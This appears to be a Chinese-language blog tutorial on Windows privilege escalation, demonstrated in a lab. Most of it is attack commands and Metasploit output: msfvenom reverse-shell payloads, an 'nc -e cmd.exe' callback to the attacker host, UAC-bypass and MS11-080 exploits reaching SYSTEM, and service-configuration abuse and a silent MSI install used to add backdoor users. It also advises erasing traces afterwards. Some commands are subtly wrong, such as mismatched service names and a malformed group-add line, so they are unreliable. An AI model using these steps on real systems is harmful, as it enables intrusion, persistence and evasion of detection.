35.windows提权总结
本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/
windows提权
windows下的权限:
- user
- administrator
- system
一些常用命令:
systeminfo | findstr OS #获取系统版本信息
hostname #获取主机名称
whomai /priv #显示当前用户的安全特权
quser or query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" + netstat -ano #获取远程端口
windows 2003,xp
现在03的机器已经很少了,所以现在只是简单的说一些常见的思路,操作,第三方之类的除外
实验环境:
windows 2003:192.168.0.105
kali : 192.168.0.107
首先生成个木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe
如果有waf,生成的木马文件会被删除,可以使用veil生成免杀马,当然如果只是为了反弹shell,也可以上传一个nc.exe,在目标服务器上执行nc正向连接:
nc.exe -e cmd.exe 192.168.0.107 4444
nc shell反弹成功后:
msf shell反弹成功后,查看当前权限
windows2003 可以直接 getsystem提权
提权失败,一般可能是uac的问题,尝试bypass uac
- use exploit/windows/local/ask
msf5 exploit(multi/handler) > use exploit/windows/local/ask
msf5 exploit(windows/local/ask) > show options
Module options (exploit/windows/local/ask):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE)
Exploit target:
Id Name
-- ----
0 Windows
msf5 exploit(windows/local/ask) > set SESSION 2
SESSION => 2
msf5 exploit(windows/local/ask) > set TECHNIQUE up.exe
[-] The following options failed to validate: Value 'up.exe' is not valid for option 'TECHNIQUE'.
TECHNIQUE => EXE
msf5 exploit(windows/local/ask) > set TECHNIQUE EXE
TECHNIQUE => EXE
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set lhost 192.168.0.107
lhost => 192.168.0.107
msf5 exploit(windows/local/ask) > show options
Module options (exploit/windows/local/ask):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION 2 yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.107 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
msf5 exploit(windows/local/ask) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107:4444 -> 192.168.0.105:1032 (192.168.0.105)
2 meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107:4444 -> 192.168.0.105:1033 (192.168.0.105)
msf5 exploit(windows/local/ask) > exploit
[*] Started reverse TCP handler on 192.168.0.107:4444
[+] UAC is not enabled, no prompt for the user
[*] Uploading VerOkoVbPk.exe - 73802 bytes to the filesystem...
[*] Executing Command!
或者
- use exploit/windows/local/bypassuac
- use exploit/windows/local/bypassuac_injection
使用漏洞提权
meterpreter > run post/windows/gather/enum_patches
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
以ms11-080为例
msf5 > use exploit/windows/local/ms11_080_afdjoinleaf
msf5 exploit(windows/local/ms11_080_afdjoinleaf) > show options
Module options (exploit/windows/local/ms11_080_afdjoinleaf):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/local/ms11_080_afdjoinleaf) > set SESSION 2
SESSION => 2
msf5 exploit(windows/local/ms11_080_afdjoinleaf) > run
[*] Started reverse TCP handler on 192.168.0.107:4444
[*] Running against Windows Server 2003 SP2
[*] HaliQuerySystemInformation Address: 0x80a6ba1e
[*] HalpSetSystemInformation Address: 0x80a6dc60
[*] Triggering AFDJoinLeaf pointer overwrite...
[*] Injecting the payload into SYSTEM process: winlogon.exe
[*] Sending stage (179779 bytes) to 192.168.0.105
[*] Restoring the original token...
[*] Meterpreter session 3 opened (192.168.0.107:4444 -> 192.168.0.105:1035) at 2019-05-13 21:26:33 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
提权成功
at命令提权
在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将Administrators 组下的用户权限提升到 SYSTEM
at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、
可以是一个二进制文件。
语法:at 时间 命令 例子:at 10:45PM calc.exe
该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。
我们可以通过 “/interactive”开启界面交互模式:
at 10:45PM /interactive calc.exe
在得到一个system的cmd之后,使用taskmgr命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,
再使用任务管理器新建explore进程,将会得到一个system的桌面环境
at配合msf提权
可以采用 Regsvr32 一条命令上线
msf下配置
cmd下执行
等待上线
可是这里一般会出现问题..
然后我们也可以选择上线木马的方式来获取shell
等待上线
上线后为system
windows 7,8,12,16
SC命令提权
ps:经测试03也可以
关于sc命令:
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
创建一个名叫syscmd的新的交互式的cmd服务:
SC Create syscmd binPath= "cmd /K start" type= own type= interact
然后执行:
sc start systcmd
就得到了一个system权限的cmd环境
通过不带引号的服务路径
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:
Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引号中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。
我们可以使用以下命令查看错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
这里我们枚举出下列路径:
C:\Program Files (x86)\Cisco\Cisco HostScan\bin\ciscod.exe
这个路径没有被双引号包裹,而且文件名中也存在空格。
现在,我们需要使用下列命令识别文件目录权限,判断是否有写入权限:
icacls C:\Program Files (x86)\Cisco
(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
如果它给任何人提供了写入权限,这也就意味着任何用户都可以重写该文件
将我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe,成功提权后记得清理痕迹。
重启机器:
sc stop service_name
sc start service_name
假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移:
set AutoRunScript migrate -f
此外msf下已经集成了该模块(exploit/windows/local/trusted_service_path )
不过不太好用...
不安全的服务权限
Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
metasploit集成了漏洞利用模块exploit/windows/local/service_permissions。
1.检查易受攻击的服务.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权。
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "user" *
2.查看可以完全控制的服务的属性:
sc qc "Service"
3.修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(PFNET)路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。
sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。
4.提权成功后修改服务配置,清理痕迹。
任意用户以NT AUTHORITY\SYSTEM权限安装msi
AlwaysInstallElevated是一个策略设置,允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
可以通过查询以下注册表来识别此设置,当两个注册表键值查询结果均为1时,代表该策略已启用。:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
详细利用步骤如下:
使用reg query命令查询是否存在漏洞
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果存在漏洞,上面将输出以下内容
如果系统没这个漏洞,它将输出错误
C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.
然后我们使用msfvenom生成msi文件,进行提权
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
然后使用
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
即可
另附参考链接:
提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权
提权系列(二)----Windows Service 服务器提权之Mssql提权,GetPass提权,hash提权,LPK提权